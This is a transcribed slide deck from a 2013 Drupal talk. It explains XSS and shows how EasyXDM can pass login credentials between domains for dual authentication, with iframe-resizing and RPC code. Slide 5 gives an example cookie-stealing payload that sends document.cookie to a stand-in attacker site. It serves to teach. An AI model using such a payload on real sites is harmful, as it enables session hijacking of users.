non evil xss with drupal easyxdm
play

Non-Evil XSS with Drupal & EasyXDM Stephen Barker, Digital - PowerPoint PPT Presentation

Non-Evil XSS with Drupal & EasyXDM Stephen Barker, Digital Frontiers Media @digitalfrontier Saturday, April 20, 2013 Drupal Security Advisories Drupal.org/security Saturday, April 20, 2013 What is XSS? Cross-Site Scripting attacks are a


  1. Non-Evil XSS with Drupal & EasyXDM Stephen Barker, Digital Frontiers Media @digitalfrontier Saturday, April 20, 2013

  2. Drupal Security Advisories Drupal.org/security Saturday, April 20, 2013

  3. What is XSS? Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Saturday, April 20, 2013

  4. Example: Mallory posts a message with malicious payload to a social network. When Bob reads the message, Mallory's XSS steals Bob's cookie. Mallory can now hijack Bob's session and impersonate Bob. Saturday, April 20, 2013

  5. Example: <IMG SRC="javascript: postMessage (document.cookie, ‘http://mallorysSite.com/pwnd’);"> Saturday, April 20, 2013

  6. MWIDX -Powered by Drupal Saturday, April 20, 2013

  7. Resizing iFrames Containing Dynamic Content <script type="text/javascript"> function iframeLoaded() { var iFrameID = document.getElementById('idIframe'); if(iFrameID) { // here you can meke the height, I delete it first, then I make it again iFrameID.height = ""; iFrameID.height = iFrameID.contentWindow.document.body.scrollHeight + "px"; } } </script> OR script in host called from within the iframe: parent.iframeLoaded(); Saturday, April 20, 2013

  8. CORS Cross-origin resource sharing (CORS) is a mechanism that allows a web page to make XMLHttpRequests to another domain. Such "cross-domain" requests would otherwise be forbidden by web browsers, per the same origin security policy. CORS defines a way in which the browser and the server can interact to determine whether or not to allow the cross-origin request. It is more powerful than only allowing same-origin requests, but it is more secure than simply allowing all such cross-origin requests. Saturday, April 20, 2013

  9. CORS Help enable-cors.org Saturday, April 20, 2013

  10. Dual-Authentication Problem Saturday, April 20, 2013

  11. Client-side Saturday, April 20, 2013

  12. EasyXDM easyxdm.net/wp Saturday, April 20, 2013

  13. Provider (remote) JS var provider = new easyXDM.Rpc({}, { local: { login: { method: function(name, pass) { // Take username/password arguments and fill in legacy login form. $('#legacy-login-form-username-input-id').val(name); $('#legacy-login-form-password-input-id').val(pass); $('#legacy-submit-button-id').click(); // Could probably use .submit instead } // end method } // end login } // end local }); Saturday, April 20, 2013

  14. Consumer (local) JS // Setup the remote rpc for call. var consumer = new easyXDM.Rpc( { remote: "http://example.com/login-page" }, { remote: { login: {} } } } ); Saturday, April 20, 2013

  15. Consumer (local) JS (cont.) // Note: id of Drupal user form here is for the form used in login BLOCK. $('#user-login-form').submit(function(event) { // Interrupt standard Drupal login form submission // May seem a little redundant below, but is apparently needed for some IE cases. event.preventDefault(); if (event.preventDefault) { event.preventDefault(); } else { event.stop(); }; //perform remote RPC login using local Drupal login form field values. consumer.login($('#edit-name').val(), $('#edit-pass').val()); Saturday, April 20, 2013

  16. Consumer (local) JS (cont.) // Probably a more elegant way to handle this, but give 5 seconds for the rpc to connect and drop // authenticated session cookie through hidden easyXDM iframe following login. // Then kill our submission interception and resubmit the Drupal login form // to finally be processed by native handler for local login. setTimeout(function () { $('#user-login-form').unbind('submit').submit(); }, 5000 ); }); Saturday, April 20, 2013

  17. DEMO Saturday, April 20, 2013

  18. (a few) More Details drupalsrq.net/forum-topic/single-signondual- authentication-xss Saturday, April 20, 2013

  19. Stephen Barker, Digital Frontiers Media http://digitalfrontiersmedia.com stephen@digitalfrontiersmedia.com @digitalfrontier Saturday, April 20, 2013

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend